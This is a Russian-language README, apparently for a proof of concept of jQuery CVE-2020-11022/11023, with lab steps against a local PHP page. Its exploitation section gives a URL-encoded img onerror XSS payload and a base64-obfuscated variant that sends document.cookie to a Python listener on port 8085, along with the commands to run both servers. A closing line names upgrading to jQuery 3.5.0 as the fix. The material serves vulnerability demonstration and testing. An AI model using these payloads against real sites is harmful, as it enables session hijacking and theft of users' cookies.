CVE-2020-11022 CVE-2020-11023

В jQuery версий 1.2 и выше, но до 3.5.0, передача HTML из ненадёжных источников — даже после санитизации — в один из методов манипуляции DOM jQuery (например, .html(), .append() и другие) может привести к выполнению ненадёжного кода. Эта проблема исправлена в jQuery 3.5.0.

В jQuery версий 1.0.3 и выше, но до 3.5.0, передача HTML, содержащего элементы , из ненадёжных источников — даже после санитизации — в один из методов манипуляции DOM jQuery (например, .html(), .append() и другие) может привести к выполнению ненадёжного кода. Эта проблема исправлена в jQuery 3.5.0.

Эксплуатация

1. Разместите страницу index.php на PHP-веб-сервере. Для быстрого запуска рекомендую использовать sudo php -S 127.0.0.1:80.

Простой XSS

2. Перейдите по пути http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=alert(1)%3E
3. Нажмите кнопку "Append via .html()".
4. Увидите всплывающее окно с предупреждением.

Кража cookie

2. Запустите ещё один веб-сервер на порту 8085, рекомендую использовать Python: sudo python3 -m http.server 8085
3. Перейдите по пути http://127.0.0.1/?value=/%3E%3Cimg%20src=x%20onerror=eval(atob(%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly8xMjcuMC4wLjE6ODA4NS8/Yz0iK2RvY3VtZW50LmNvb2tpZQ==%27))%3E
4. Нажмите кнопку "Append via .html()".
5. Проверьте журнал Python — вы увидите свои cookie в логе.

Исправление

Если вы хотите исправить эту CVE в данном скрипте, просто измените версию jQuery на https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.js :)